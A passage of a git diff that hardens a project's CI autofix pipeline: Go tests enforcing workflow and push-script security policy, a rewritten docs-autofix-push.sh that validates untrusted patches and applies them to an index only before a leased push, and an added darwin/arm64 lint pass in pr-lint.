:= range refs { + if ref[1] != "DOCS_AUTOFIX_TOKEN" { + t.Errorf("%s: %s reads secret %s; only DOCS_AUTOFIX_TOKEN is shared with this workflow", bazelAutofixWorkflowName, path, ref[1]) + } + } + } + }) +} + +// requireWorkflowProducesArtifact: the workflow a workflow_run trigger names +// runs on pull_request and uploads the artifact the autofix job consumes, +// from one of its own jobs or from a local workflow a job calls +// unconditionally (a called workflow's uploads belong to the caller's run, +// under the caller's run id). +func requireWorkflowProducesArtifact(t *testing.T, file, name, artifact string) { + t.Helper() + node := readYAMLNode(t, filepath.Join(".github", "workflows", file)) + if got := yamlScalar(node, "name"); got != name { + t.Errorf("%s name = %q, want %q (the workflow_run trigger names it)", file, got, name) + } + if !slices.Contains(yamlMapKeys(node, "on"), "pull_request") { + t.Errorf("%s has no pull_request trigger; the autofix job only acts on PR runs", file) + } + uploads := func(wf ciWorkflow) bool { + for _, job := range wf.Jobs { + for _, step := range job.Steps { + if strings.HasPrefix(step.Uses, "actions/upload-artifact@") && step.With["name"] == artifact { + return true + } + } + } + return false + } + found := uploads(readCIWorkflow(t, file)) + for _, job := range readCIWorkflow(t, file).Jobs { + if called, ok := strings.CutPrefix(job.Uses, "./.github/workflows/"); ok && job.If == "" && uploads(readCIWorkflow(t, called)) { + found = true + } + } + if !found { + t.Errorf("%s never uploads %s (itself or through a called workflow); the workflow_run trigger on it would be dead", file, artifact) + } +} + +// Both autofix workflows push to the same PR branches. Job-level concurrency +// (skipped runs take no part) in ONE group per head branch, never cancelling: +// they queue instead of racing, and an unrelated completion cannot cancel a +// fix in flight. +func TestAutofixWorkflowsShareConcurrency(t *testing.T) { + const group = "autofix-${{ github.event.workflow_run.head_repository.full_name }}-${{ github.event.workflow_run.head_branch }}" + for _, file := range []string{bazelAutofixWorkflowName, "docs-autofix.yml"} { + root := readYAMLNode(t, filepath.Join(".github", "workflows", file)) + if slices.ContainsFunc(root.Content, func(n *yaml.Node) bool { return n.Value == "concurrency" }) { + t.Errorf("%s has workflow-level concurrency; it must be on the job so skipped runs take no part", file) + } + var doc struct { + Jobs map[string]struct { + Concurrency struct { + Group string `yaml:"group"` + CancelInProgress *bool `yaml:"cancel-in-progress"` + } `yaml:"concurrency"` + TimeoutMinutes int `yaml:"timeout-minutes"` + Steps []ciWorkflowStep `yaml:"steps"` + } `yaml:"jobs"` + } + if err := root.Decode(&doc); err != nil { + t.Fatal(err) + } + job, ok := doc.Jobs["autofix"] + if !ok || len(doc.Jobs) != 1 { + t.Fatalf("%s: want exactly one job, autofix", file) + } + if job.Concurrency.Group != group { + t.Errorf("%s job concurrency group = %q, want %q", file, job.Concurrency.Group, group) + } + if job.Concurrency.CancelInProgress == nil || *job.Concurrency.CancelInProgress { + t.Errorf("%s job concurrency must set cancel-in-progress: false", file) + } + // A hung run holds the shared, non-cancelling group: bound it. + if job.TimeoutMinutes != 10 { + t.Errorf("%s autofix job timeout-minutes = %d, want 10", file, job.TimeoutMinutes) + } + for _, step := range job.Steps { + if strings.HasPrefix(step.Uses, "actions/checkout@") && step.With["persist-credentials"] != "false" { + t.Errorf("%s checkout keeps the workflow token in .git/config; set persist-credentials: false", file) + } + } + } + requireWorkflowProducesArtifact(t, "pr.yml", "PR", "cli-docs-freshness-patch") +} + +// The two push scripts share their security-critical functions verbatim, and +// both apply the same hardening. +func TestAutofixScriptsShareGuards(t *testing.T) { + root := sourceRepoRoot(t) + bazel := readPolicyFile(t, root, bazelAutofixPushScript) + docs := readPolicyFile(t, root, "scripts/docs-autofix-push.sh") + for _, name := range []string{"git_", "validate_patch", "check_staged", "post_or_update_comment", "head_branch_protected"} { + re := regexp.MustCompile(`(?ms)^` + regexp.QuoteMeta(name) + `\(\) \{\n.*?^\}\n`) + a, b := re.FindString(bazel), re.FindString(docs) + if a == "" || a != b { + t.Errorf("%s() differs between %s and docs-autofix-push.sh (or is missing)", name, bazelAutofixPushScript) + } + } + validator := regexp.MustCompile(`(?ms)^validate_patch\(\) \{\n.*?^\}\n`).FindString(bazel) + for _, want := range []string{ + // Any rename/copy header, including legacy "rename old/new". + `rename |copy |`, + // Every index line, not only hex ones. + `grep -E '^index ' "$file" | grep -qvE '^index [0-9a-f]+\.\.[0-9a-f]+( 100644)?$'`, + `git apply --summary "$file"`, + `git apply --numstat -z "$file"`, + } { + if !strings.Contains(validator, want) { + t.Errorf("validate_patch lacks %q", want) + } + } + for script, body := range map[string]string{bazelAutofixPushScript: bazel, "scripts/docs-autofix-push.sh": docs} { + for _, want := range []string{ + `select(.user.login == \"$COMMENT_AUTHOR\" and`, + `COMMENT_AUTHOR="github-actions[bot]"`, + `"--force-with-lease=refs/heads/$HEAD_BRANCH:$HEAD_SHA"`, + `gh api "repos/$BASE_REPO/branches/$enc"`, + `gh api "repos/$BASE_REPO/rules/branches/$enc"`, + `(.base.repo.full_name // "") == $base`, + "export GIT_LFS_SKIP_SMUDGE=1", + "git -c core.hooksPath=/dev/null", + // Only the branches the run needs, never a whole-repo clone. + "git_ init --quiet --bare", + "fetch --quiet --no-tags --filter=blob:none origin", + `"+refs/heads/$HEAD_BRANCH:refs/autofix/head"`, + // The circuit breaker reads the fetched commit and fails closed. + `if ! HEAD_SUBJECT="$(git_ log -1 --format=%s "$HEAD_SHA")" || [[ "$HEAD_SUBJECT" == "$AUTOFIX_SUBJECT"* ]]; then`, + `if length == 1 then .[0]`, + `git_ read-tree "$HEAD_SHA"`, + "apply --cached", + `check_staged "$HEAD_SHA"`, + } { + if !strings.Contains(body, want) { + t.Errorf("%s lacks %q", script, want) + } + } + // Heredocs hold the human recipe (git apply --index, git push), not + // commands this script runs. + code := regexp.MustCompile(`(?ms)<<'?EOF'?\n.*?^EOF\n`).ReplaceAllString(body, "") + if regexp.MustCompile(`\bgit_?\s+(-c\s+\S+\s+)*(checkout|switch|worktree|restore|reset|stash)\b|apply --index`).MatchString(code) { + t.Errorf("%s writes the PR tree to disk; apply to the index only", script) + } + if strings.Index(code, "if head_branch_protected;") > strings.Index(code, "push --quiet") { + t.Errorf("%s must check branch protection before pushing", script) + } + if regexp.MustCompile(`(?m)^\s*[^#\s][^#\n]*(\bclone\b|/commits/)`).MatchString(code) { + t.Errorf("%s clones the whole repository or reads commits through the API", script) + } + if strings.Contains(code, "fetch") && strings.Count(code, " fetch ") != 1 { + t.Errorf("%s: want exactly one fetch (head, plus base for attribution)", script) + } + // Every git command goes through git_ (no hooks), except the + // repository-free `git apply --summary/--numstat` of the validator. + for _, m := range regexp.MustCompile(`(?m)(?:^\s*|[;&|!(]\s*|\$\(\s*)git\s+(\S+)`).FindAllStringSubmatch(code, -1) { + if m[1] != "apply" && m[1] != "-c" { + t.Errorf("%s: git %s runs without the git_ wrapper", script, m[1]) + } + } + if n, m := strings.Count(code, "git -c "), strings.Count(code, "git -c core.hooksPath=/dev/null "); n != 1 || m != 1 { + t.Errorf("%s: want exactly one raw `git -c` call, git_'s core.hooksPath=/dev/null; got %d", script, n) + } + } +} + +// The producer (PR code) and the consumer (base-branch code) must agree on +// the allowlist, or every patch would be refused; the consumer's copy is the +// one that is enforced. +func TestBazelAutofixAllowlistsMatch(t *testing.T) { + re := regexp.MustCompile(`(?m)^BUILD_FILE_RE='([^']+)'$`) + caseRe := regexp.MustCompile(`(?m)^\s+(MODULE\.bazel \| MODULE\.bazel\.lock\) return 0 ;;\n\s+third_party/\*\) return 1 ;;)$`) + want := `^([A-Za-z0-9_+-][A-Za-z0-9_.+-]*/)*BUILD\.bazel$` + for _, script := range []string{bazelAutofixPushScript, bazelSyncPatchScript} { + body := readPolicyFile(t, sourceRepoRoot(t), script) + m := re.FindStringSubmatch(body) + if m == nil || m[1] != want { + t.Errorf("%s BUILD_FILE_RE = %v, want %q", script, m, want) + } + if !caseRe.MatchString(body) { + t.Errorf("%s lacks the MODULE.bazel / third_party cases of path_allowed", script) + } + } + compiled := regexp.MustCompile(want) + for path, ok := range map[string]bool{ + "BUILD.bazel": true, + "cmd/bd/BUILD.bazel": true, + "internal/storage/dolt/BUILD.bazel": true, + "a_b/c-d/e.f/BUILD.bazel": true, + ".github/BUILD.bazel": false, + "a/../BUILD.bazel": false, + "../BUILD.bazel": false, + "/BUILD.bazel": false, + "a//BUILD.bazel": false, + "a/.hidden/BUILD.bazel": false, + "BUILD.bazel.go": false, + "xBUILD.bazel": false, + "a/BUILD": false, + "a b/BUILD.bazel": false, + `"a\tb/BUILD.bazel"`: false, + } { + if compiled.MatchString(path) != ok { + t.Errorf("BUILD_FILE_RE matches %q = %v, want %v", path, !ok, ok) + } + } +} + +func yamlScalar(node *yaml.Node, key string) string { + for i := 0; i+1 < len(node.Content); i += 2 { + if node.Content[i].Value == key { + return node.Content[i+1].Value + } + } + return "" +} diff --git a/scripts/docs-autofix-push.sh b/scripts/docs-autofix-push.sh index db9d5c3f5..8f7cebe66 100755 --- a/scripts/docs-autofix-push.sh +++ b/scripts/docs-autofix-push.sh @@ -6,11 +6,21 @@ # Runs on the PRIVILEGED side of the docs-autofix workflow_run pipeline: the # checkout is always the base repository's default branch (trusted code), and # the patch produced by the unprivileged PR build is treated as UNTRUSTED DATA. -# Confinement is layered: the path allowlist below pins WHICH files a patch may -# name (anchored regexes, single path segment, no traversal, no symlink modes), -# and `git apply --index` supplies the underlying escape guards (rejects `..` -# paths, absolute paths, and writes through in-patch symlinks). A hostile patch -# can therefore at most rewrite generated doc files on its own PR branch. +# Confinement is layered: +# * the path allowlist below pins WHICH files a patch may name (anchored +# regexes, single path segment, no traversal); +# * any mode line, symlink, rename/copy or binary hunk is refused, so only +# regular 100644 files are created, edited or deleted; +# * the patch is applied to an index only (`git read-tree` + `git apply +# --cached` in a bare clone): the PR tree is never written to disk, and +# git's own guards reject `..`/absolute paths and in-patch symlinks; +# * the staged result is re-checked against the same allowlist. +# A hostile patch can therefore at most rewrite generated doc files on its own +# PR branch. +# +# Usage: +# docs-autofix-push.sh validate, then push or comment (env below) +# docs-autofix-push.sh --check P validate patch P only; exit 0 if acceptable # # Inputs (environment): # BASE_REPO base "owner/name" (e.g. gastownhall/beads) @@ -23,28 +33,25 @@ # RUN_URL html url of that run (for commit/comment provenance) # GH_TOKEN token for gh api calls (PR lookup, comments) - needs the # workflow's pull-requests:write; never the PAT -# PUSH_TOKEN token for the git push only (optional; defaults to GH_TOKEN), -# so a dedicated DOCS_AUTOFIX_TOKEN needs contents:write only +# PUSH_TOKEN token for git fetch/push only (optional; defaults to +# GH_TOKEN), so a dedicated DOCS_AUTOFIX_TOKEN needs +# contents:write only # AUTOFIX_TOKEN_KIND "pat" when a dedicated push token is in use, "default" # for the workflow's GITHUB_TOKEN (retrigger caveat) # # Exit 0 on every non-actionable outcome (PR closed, head moved, no patch); -# exit 1 only on genuine errors so the workflow surfaces them. +# exit 1 on a refused patch or a genuine error so the workflow surfaces them. set -euo pipefail - -if [ -z "${HEAD_REPO:-}" ] || [ -z "${HEAD_BRANCH:-}" ]; then - echo "Head repository/branch unavailable (deleted fork?); nothing to do." - exit 0 -fi -: "${BASE_REPO:?}" "${HEAD_SHA:?}" -: "${PATCH_FILE:?}" "${RUN_ID:?}" "${RUN_URL:?}" "${GH_TOKEN:?}" -AUTOFIX_TOKEN_KIND="${AUTOFIX_TOKEN_KIND:-default}" -PUSH_TOKEN="${PUSH_TOKEN:-$GH_TOKEN}" -PATCH_FILE="$(readlink -f "$PATCH_FILE")" +export LC_ALL=C +# Nothing from the PR tree may run: no LFS smudge, no prompts. +export GIT_LFS_SKIP_SMUDGE=1 GIT_TERMINAL_PROMPT=0 COMMENT_MARKER="" AUTOFIX_SUBJECT="docs: auto-regenerate CLI reference" +# Comments are only ever edited when this account wrote them: anyone can post +# a comment that starts with the marker. +COMMENT_AUTHOR="github-actions[bot]" # Files the doc generators may write - keep in sync with GEN_PATHSPECS in # scripts/check-cli-docs-drift.sh. Anchored, single path segment where a @@ -58,74 +65,169 @@ path_allowed() { return 1 } +# Every git call: no hooks, whatever config a clone might carry. +git_() { + git -c core.hooksPath=/dev/null -c core.fsmonitor=false "$@" +} + +# validate_patch FILE: refuse anything but plain text edits to regular files +# that path_allowed accepts. Shared verbatim with bazel-autofix-push.sh +# (scripts/ci_workflow_test.go checks), which documents each rule. +validate_patch() { + local file="$1" line path names bad="" count=0 + # No mode change, symlink, rename or copy, binary hunk. ANY line starting + # "rename " or "copy " is refused: git apply also accepts the legacy + # "rename old"/"rename new" headers, which name a second path. + if grep -qE '^(old mode|new mode|similarity index|dissimilarity index|rename |copy |GIT binary patch|Binary files )' "$file"; then + echo "REFUSED: patch contains a mode change, rename/copy or binary hunk." + return 1 + fi + if grep -E '^(new file mode|deleted file mode) ' "$file" | grep -qvE '^(new file mode|deleted file mode) 100644$'; then + echo "REFUSED: patch creates or deletes a non-regular (symlink/executable/submodule) file." + return 1 + fi + # Every index line, whatever its ids look like, must be "index A..B" or + # "index A..B 100644"; a malformed id cannot hide a mode from this check. + if grep -E '^index ' "$file" | grep -qvE '^index [0-9a-f]+\.\.[0-9a-f]+( 100644)?$'; then + echo "REFUSED: patch has an index line that is not a regular 100644 file." + return 1 + fi + # --summary is git's own view of creations, deletions, renames, copies, + # mode changes and rewrites; only 100644 creations/deletions may appear. + if ! names="$(git apply --summary "$file")"; then + echo "REFUSED: git apply cannot parse the patch." + return 1 + fi + while IFS= read -r line; do + case "$line" in + "") continue ;; + " create mode 100644 "*) path="${line# create mode 100644 }" ;; + " delete mode 100644 "*) path="${line# delete mode 100644 }" ;; + *) + echo "REFUSED: patch summary has an unexpected entry: $line" + return 1 + ;; + esac + path_allowed "$path" || bad="${bad} ${path}\n" + done <<<"$names" + # --numstat -z prints "addeddeletedNAME" with NAME raw + # (never quoted) and, for a rename, only the NEW name - hence the header + # and --summary checks above. The last read field keeps any tab/newline. + names="$(mktemp)" + if ! git apply --numstat -z "$file" >"$names"; then + rm -f "$names" + echo "REFUSED: git apply cannot parse the patch." + return 1 + fi + while IFS=$'\t' read -r -d '' _ _ path; do + count=$((count + 1)) + path_allowed "$path" || bad="${bad} ${path}\n" + done <"$names" + rm -f "$names" + if [ "$count" -eq 0 ]; then + echo "REFUSED: patch names no files." + return 1 + fi + if [ -n "$bad" ]; then + printf 'REFUSED: patch touches paths outside the allowlist:\n%b' "$bad" + return 1 + fi +} + +# check_staged COMMIT: the index (after git apply --cached) differs from +# COMMIT only by regular-file adds/edits/deletes of allowlisted paths. Sets +# STAGED_PATHS. Shared verbatim with bazel-autofix-push.sh. +check_staged() { + local base="$1" meta path raw src_mode dst_mode status err="" + STAGED_PATHS=() + raw="$(mktemp)" + # -z --raw records: ":SRCMODE DSTMODE SRCSHA DSTSHA STATUSPATH". + git_ diff-index --cached --raw --no-renames -z "$base" >"$raw" + while IFS= read -r -d '' meta && IFS= read -r -d '' path; do + read -r src_mode dst_mode _ _ status <<<"$meta" + case "$src_mode $dst_mode $status" in + ":100644 100644 M" | ":000000 100644 A" | ":100644 000000 D") ;; + *) err="REFUSED: staged change is not a regular-file edit: $meta $path" && break ;; + esac + if ! path_allowed "$path"; then + err="REFUSED: staged change outside the allowlist: $meta $path" && break + fi + STAGED_PATHS+=("$path") + done <"$raw" + rm -f -- "$raw" + if [ -n "$err" ]; then + echo "$err" + return 1 + fi +} + +if [ "${1:-}" = "--check" ]; then + [ -s "${2:-}" ] || { echo "usage: $0 --check " >&2; exit 2; } + validate_patch "$2" + echo "OK: patch touches only generated CLI docs." + exit 0 +fi + +if [ -z "${HEAD_REPO:-}" ] || [ -z "${HEAD_BRANCH:-}" ]; then + echo "Head repository/branch unavailable (deleted fork?); nothing to do." + exit 0 +fi +: "${BASE_REPO:?}" "${HEAD_SHA:?}" +: "${PATCH_FILE:?}" "${RUN_ID:?}" "${RUN_URL:?}" "${GH_TOKEN:?}" +AUTOFIX_TOKEN_KIND="${AUTOFIX_TOKEN_KIND:-default}" +PUSH_TOKEN="${PUSH_TOKEN:-$GH_TOKEN}" + if [ ! -s "$PATCH_FILE" ]; then echo "No patch content; nothing to do." exit 0 fi +PATCH_FILE="$(readlink -f "$PATCH_FILE")" +if ! [[ "$HEAD_SHA" =~ ^[0-9a-f]{40}$ ]]; then + echo "HEAD_SHA is not a commit id: $HEAD_SHA" >&2 + exit 1 +fi # --- Validate the untrusted patch -------------------------------------------- -# Generated docs are regular files; refuse any symlink (120000) mode before -# git apply can materialize one at an allowlisted path. -if grep -qE '^(new|old) file mode 120000$|^new mode 120000$' "$PATCH_FILE"; then - echo "REFUSED: patch introduces a symlink mode." - exit 1 -fi - -# --numstat prints "addeddeletedpath"; renames appear as -# "old => new" forms, which the allowlist match rejects. -BAD_PATHS="" -while IFS=$'\t' read -r _ _ path; do - [ -n "$path" ] || continue - if ! path_allowed "$path"; then - BAD_PATHS="${BAD_PATHS}${path}\n" - fi -done < <(git apply --numstat "$PATCH_FILE") - -if [ -n "$BAD_PATHS" ]; then - printf 'REFUSED: patch touches paths outside the generated-docs allowlist:\n%b' "$BAD_PATHS" - exit 1 -fi +validate_patch "$PATCH_FILE" # --- Resolve the PR and confirm the patch is still current ------------------- # List-and-filter client side: branch names with URL metacharacters would -# corrupt a ?head= query string, and jq --arg needs no encoding. +# corrupt a ?head= query string, and jq --arg needs no encoding. The PR must +# target this repository. One head branch can back several open PRs (into +# different bases); this artifact names no PR, so an ambiguous match is +# skipped rather than guessed. PULLS_JSON="$(gh api --paginate "repos/$BASE_REPO/pulls?state=open&per_page=100")" -PR_MATCH="$(printf '%s' "$PULLS_JSON" | jq -r -s --arg repo "$HEAD_REPO" --arg branch "$HEAD_BRANCH" \ - 'add | [ .[] | select(.head.ref == $branch and (.head.repo.full_name // "") == $repo) ] - | .[0] | if . == null then "" else "\(.number) \(.head.sha)" end')" -PR_NUMBER="${PR_MATCH%% *}" -PR_HEAD_NOW="${PR_MATCH##* }" - -if [ -z "$PR_NUMBER" ]; then - echo "No open PR for $HEAD_REPO:$HEAD_BRANCH; nothing to do." - exit 0 -fi +PR_MATCH="$(printf '%s' "$PULLS_JSON" | jq -r -s --arg repo "$HEAD_REPO" --arg branch "$HEAD_BRANCH" --arg base "$BASE_REPO" \ + 'add | [ .[] | select(.head.ref == $branch and (.head.repo.full_name // "") == $repo + and (.base.repo.full_name // "") == $base) ] + | if length == 1 then .[0] | "\(.number)\t\(.head.sha)" else "\(length)" end')" +case "$PR_MATCH" in + 0) + echo "No open PR for $HEAD_REPO:$HEAD_BRANCH into $BASE_REPO; nothing to do." + exit 0 + ;; + *$'\t'*) IFS=$'\t' read -r PR_NUMBER PR_HEAD_NOW <<<"$PR_MATCH" ;; + *) + echo "$PR_MATCH open PRs use $HEAD_REPO:$HEAD_BRANCH; not guessing which one this patch is for." + exit 0 + ;; +esac if [ "$PR_HEAD_NOW" != "$HEAD_SHA" ]; then echo "PR #$PR_NUMBER head moved ($HEAD_SHA -> $PR_HEAD_NOW); a newer run owns the fix." exit 0 fi -# Circuit breaker: if the failing head is already one of our autofix commits, -# regeneration is not converging (or something keeps dirtying the docs) - -# stacking more bot commits would loop. Fail safe to the recipe comment. -HEAD_MSG="$(gh api "repos/$BASE_REPO/commits/$HEAD_SHA" --jq '.commit.message' 2>/dev/null || true)" -case "$HEAD_MSG" in - "$AUTOFIX_SUBJECT"*) - echo "Head $HEAD_SHA is already an autofix commit; refusing to stack another." - NONCONVERGENT=1 - ;; - *) NONCONVERGENT=0 ;; -esac - +# post_or_update_comment BODY_FILE: edit our own marker comment, else post. +# Shared verbatim with bazel-autofix-push.sh. post_or_update_comment() { local body_file="$1" # Capture fully before taking the first id: head -1 on a live --paginate # stream SIGPIPEs gh under pipefail. local ids existing ids="$(gh api --paginate "repos/$BASE_REPO/issues/$PR_NUMBER/comments" \ - --jq ".[] | select(.body | startswith(\"$COMMENT_MARKER\")) | .id")" + --jq ".[] | select(.user.login == \"$COMMENT_AUTHOR\" and (.body | startswith(\"$COMMENT_MARKER\"))) | .id")" existing="$(printf '%s\n' "$ids" | head -1)" if [ -n "$existing" ]; then gh api --method PATCH "repos/$BASE_REPO/issues/comments/$existing" \ @@ -138,6 +240,22 @@ post_or_update_comment() { fi } +# head_branch_protected: true unless GitHub itself says HEAD_BRANCH has no +# branch protection and no ruleset; an API error counts as protected. The name +# list is a floor, not the check. Shared verbatim with bazel-autofix-push.sh. +head_branch_protected() { + local enc protected rules + case "$HEAD_BRANCH" in + main | release/* | gh-readonly-queue/*) return 0 ;; + esac + enc="$(jq -rn --arg b "$HEAD_BRANCH" '$b | @uri')" + protected="$(gh api "repos/$BASE_REPO/branches/$enc" --jq '.protected' 2>/dev/null)" || return 0 + [ "$protected" = "false" ] || return 0 + rules="$(gh api "repos/$BASE_REPO/rules/branches/$enc" --jq 'length' 2>/dev/null)" || return 0 + [ "$rules" = "0" ] || return 0 + return 1 +} + comment_fallback() { local reason="$1" local body @@ -163,11 +281,6 @@ EOF rm -f "$body" } -if [ "$NONCONVERGENT" = "1" ]; then - comment_fallback "an earlier auto-fix did not converge - please regenerate manually" - exit 0 -fi - # --- Fork PRs: no token we hold can push there, leave the recipe -------------- if [ "$HEAD_REPO" != "$BASE_REPO" ]; then @@ -175,6 +288,13 @@ if [ "$HEAD_REPO" != "$BASE_REPO" ]; then exit 0 fi +# Never push to a protected branch or one under a ruleset, even if a PR uses +# it as head: the push token may be able to bypass what the author cannot. +if head_branch_protected; then + comment_fallback "the head branch $HEAD_BRANCH is protected from bot pushes" + exit 0 +fi + # --- Same-repo PRs: push the regen commit ------------------------------------- # Keep the token out of on-disk .git/config: pass the auth header per command. @@ -183,37 +303,70 @@ AUTH_CONFIG="http.https://github.com/.extraheader=AUTHORIZATION: basic $(printf WORK="$(mktemp -d)" trap 'rm -rf "$WORK"' EXIT +# Bare clone and a private index: the PR tree is never checked out, so no +# symlink, .gitattributes or hook from it touches the disk. +export GIT_INDEX_FILE="$WORK/index" -git -c "$AUTH_CONFIG" clone --quiet --no-checkout --filter=blob:none \ - "https://github.com/${BASE_REPO}.git" "$WORK/repo" -cd "$WORK/repo" -git -c "$AUTH_CONFIG" fetch --quiet origin "$HEAD_BRANCH" -git checkout --quiet "$HEAD_SHA" 2>/dev/null || { +# Only the head branch, blobs on demand: other branches' history never +# reaches the runner. +git_ init --quiet --bare "$WORK/repo.git" +cd "$WORK/repo.git" +git_ remote add origin "https://github.com/${BASE_REPO}.git" +git_ config remote.origin.promisor true +git_ config remote.origin.partialclonefilter blob:none +git_ -c "$AUTH_CONFIG" fetch --quiet --no-tags --filter=blob:none origin \ + "+refs/heads/$HEAD_BRANCH:refs/autofix/head" +if ! git_ cat-file -e "$HEAD_SHA^{commit}" 2>/dev/null; then echo "Head $HEAD_SHA no longer reachable on $BASE_REPO/$HEAD_BRANCH; skipping." exit 0 -} +fi -if ! git apply --index "$PATCH_FILE" 2>/dev/null; then - cd - >/dev/null +git_ read-tree "$HEAD_SHA" +if ! git_ -c "$AUTH_CONFIG" apply --cached "$PATCH_FILE" 2>/dev/null; then + cd / comment_fallback "the regeneration patch no longer applies cleanly" exit 0 fi -git -c user.name="github-actions[bot]" \ - -c user.email="41898282+github-actions[bot]@users.noreply.github.com" \ - commit --quiet -m "$AUTOFIX_SUBJECT +# Belt and braces: what actually got staged must pass the same rules. +check_staged "$HEAD_SHA" +if [ "${#STAGED_PATHS[@]}" -eq 0 ]; then + echo "Patch changes nothing on $HEAD_SHA; nothing to push." + exit 0 +fi + +# Circuit breaker, once the fix is known to be non-empty: if the failing head +# is already one of our autofix commits, regeneration is not converging (or +# something keeps dirtying the docs) - stacking more bot commits would loop. +# Read from the fetched commit (no API); failing to read it counts as +# non-convergent. +if ! HEAD_SUBJECT="$(git_ log -1 --format=%s "$HEAD_SHA")" || [[ "$HEAD_SUBJECT" == "$AUTOFIX_SUBJECT"* ]]; then + echo "Head $HEAD_SHA is (or may be) an autofix commit; refusing to stack another." + cd / && comment_fallback "the previous auto-regeneration commit left the docs stale - please regenerate manually" + exit 0 +fi + +TREE="$(git_ write-tree)" +NEW_SHA="$(GIT_AUTHOR_NAME="github-actions[bot]" GIT_COMMITTER_NAME="github-actions[bot]" \ + GIT_AUTHOR_EMAIL="41898282+github-actions[bot]@users.noreply.github.com" \ + GIT_COMMITTER_EMAIL="41898282+github-actions[bot]@users.noreply.github.com" \ + git_ commit-tree "$TREE" -p "$HEAD_SHA" -m "$AUTOFIX_SUBJECT Applied from the cli-docs-freshness-patch artifact of $RUN_URL (generated with CI's canonical pinned build). See -scripts/check-cli-docs-drift.sh for how drift is attributed." +scripts/check-cli-docs-drift.sh for how drift is attributed.")" -if ! git -c "$AUTH_CONFIG" push --quiet origin "HEAD:refs/heads/$HEAD_BRANCH"; then - cd - >/dev/null +# Leased to HEAD_SHA: if the branch moved at all since the run (including a +# force-push back to an ancestor), the push is refused rather than resurrecting +# commits the author dropped. +if ! git_ -c "$AUTH_CONFIG" push --quiet \ + "--force-with-lease=refs/heads/$HEAD_BRANCH:$HEAD_SHA" \ + origin "$NEW_SHA:refs/heads/$HEAD_BRANCH"; then + cd / comment_fallback "pushing the fix to $HEAD_BRANCH failed (branch protection or a concurrent push)" exit 0 fi -NEW_SHA="$(git rev-parse HEAD)" -cd - >/dev/null +cd / echo "Pushed regen commit $NEW_SHA to $BASE_REPO/$HEAD_BRANCH." diff --git a/scripts/pr-lint/main.go b/scripts/pr-lint/main.go index 8ef0e9bc3..0d077c3f7 100644 --- a/scripts/pr-lint/main.go +++ b/scripts/pr-lint/main.go @@ -117,6 +117,16 @@ func run(args []string, dir string, environ []string, stdout, stderr io.Writer, "GOOS": "windows", "GOWORK": "off", }, runtime.GOOS == "windows") + // Files guarded by //go:build darwin (and the !windows && !linux fallbacks) + // are invisible to the Linux runner too, so a darwin-only finding must fail + // the PR here instead of on the next maintainer's laptop. + skipDarwin := native.GOOS == "darwin" && native.CGOEnabled == "0" + darwinEnv := setEnvironment(effectiveEnv, map[string]string{ + "CGO_ENABLED": "0", + "GOARCH": "arm64", + "GOOS": "darwin", + "GOWORK": "off", + }, runtime.GOOS == "windows") nativeEnv := effectiveEnv if runtime.GOOS == "windows" { nativeEnv = preferSelectedGo(probeCtx, dir, effectiveEnv, native, stderr, runner) @@ -128,6 +138,12 @@ func run(args []string, dir string, environ []string, stdout, stderr io.Writer, windowsEnv = preferSelectedGo(probeCtx, dir, windowsEnv, selected, stderr, runner) } } + if !skipDarwin { + selected, code := readNativeGoEnvironment(probeCtx, dir, darwinEnv, goPath, stderr, runner) + if code == 0 { + darwinEnv = preferSelectedGo(probeCtx, dir, darwinEnv, selected, stderr, runner) + } + } } cancel() // All discovery shares the existing 30-second probe budget. if code := runLintPass( @@ -142,12 +158,24 @@ func run(args []string, dir string, environ []string, stdout, stderr io.Writer, if skipWindows { fmt.Fprintln(stdout, "==> golangci-lint (windows/amd64, non-CGO) already covered by native pass") + } else if code := runLintPass( + "golangci-lint (windows/amd64, non-CGO)", + commandSpec{name: lintPath, args: argsForLint, dir: dir, env: windowsEnv}, + stdout, + stderr, + runner, + ); code != 0 { + return code + } + + if skipDarwin { + fmt.Fprintln(stdout, "==> golangci-lint (darwin/arm64, non-CGO) already covered by native pass") return 0 } return runLintPass( - "golangci-lint (windows/amd64, non-CGO)", - commandSpec{name: lintPath, args: argsForLint, dir: dir, env: windowsEnv}, + "golangci-lint (darwin/arm64, non-CGO)", + commandSpec{name: lintPath, args: argsForLint, dir: dir, env: darwinEnv}, stdout, stderr, runner, diff --git a/scripts/pr-lint/main_test.go b/scripts/pr-lint/main_test.go index e0d709a83..93b81e58e 100644 --- a/scripts/pr-lint/main_test.go +++ b/scripts/pr-lint/main_test.go @@ -66,7 +66,7 @@ func (err syntheticExitError) ExitCode() int { return err.code } -func TestRunUsesCanonicalNativeAndWindowsPasses(t *testing.T) { +func TestRunUsesCanonicalNativeAndCrossTargetPasses(t *testing.T) { runner := &recordingRunner{ paths: map[string]string{ "go": "/tools/go", @@ -87,7 +87,8 @@ func TestRunUsesCanonicalNativeAndWindowsPasses(t *testing.T) { } wantProbes := 1 if runtime.GOOS == "windows" { - wantProbes = 2 + // One native probe plus one per cross-target pass. + wantProbes = 3 } if len(runner.outputCommands) != wantProbes { t.Fatalf("go env calls = %d, want %d", len(runner.outputCommands), wantProbes) @@ -96,8 +97,8 @@ func TestRunUsesCanonicalNativeAndWindowsPasses(t *testing.T) { if got := runner.outputCommands[0].args; !reflect.DeepEqual(got, wantGoArgs) { t.Fatalf("go env args = %#v, want %#v", got, wantGoArgs) } - if len(runner.runCommands) != 2 { - t.Fatalf("lint calls = %d, want 2", len(runner.runCommands)) + if len(runner.runCommands) != 3 { + t.Fatalf("lint calls = %d, want 3", len(runner.runCommands)) } wantLintArgs := []string{ "run", @@ -126,9 +127,14 @@ func TestRunUsesCanonicalNativeAndWindowsPasses(t *testing.T) { assertEnvironmentValue(t, runner.runCommands[1].env, "GOARCH", "amd64", false) assertEnvironmentValue(t, runner.runCommands[1].env, "CGO_ENABLED", "0", false) assertEnvironmentValue(t, runner.runCommands[1].env, "GOWORK", "off", false) + assertEnvironmentValue(t, runner.runCommands[2].env, "GOOS", "darwin", false) + assertEnvironmentValue(t, runner.runCommands[2].env, "GOARCH", "arm64", false) + assertEnvironmentValue(t, runner.runCommands[2].env, "CGO_ENABLED", "0", false) + assertEnvironmentValue(t, runner.runCommands[2].env, "GOWORK", "off", false) for _, heading := range []string{ "==> golangci-lint (native)", "==> golangci-lint (windows/amd64, non-CGO)", + "==> golangci-lint (darwin/arm64, non-CGO)", } { if !strings.Contains(stdout.String(), heading) { t.Fatalf("missing lane heading %q in output:\n%s", heading, stdout.String()) @@ -169,10 +175,39 @@ func TestRunSkipsDuplicateNativeWindowsNonCGOPass(t *testing.T) { if code != 0 { 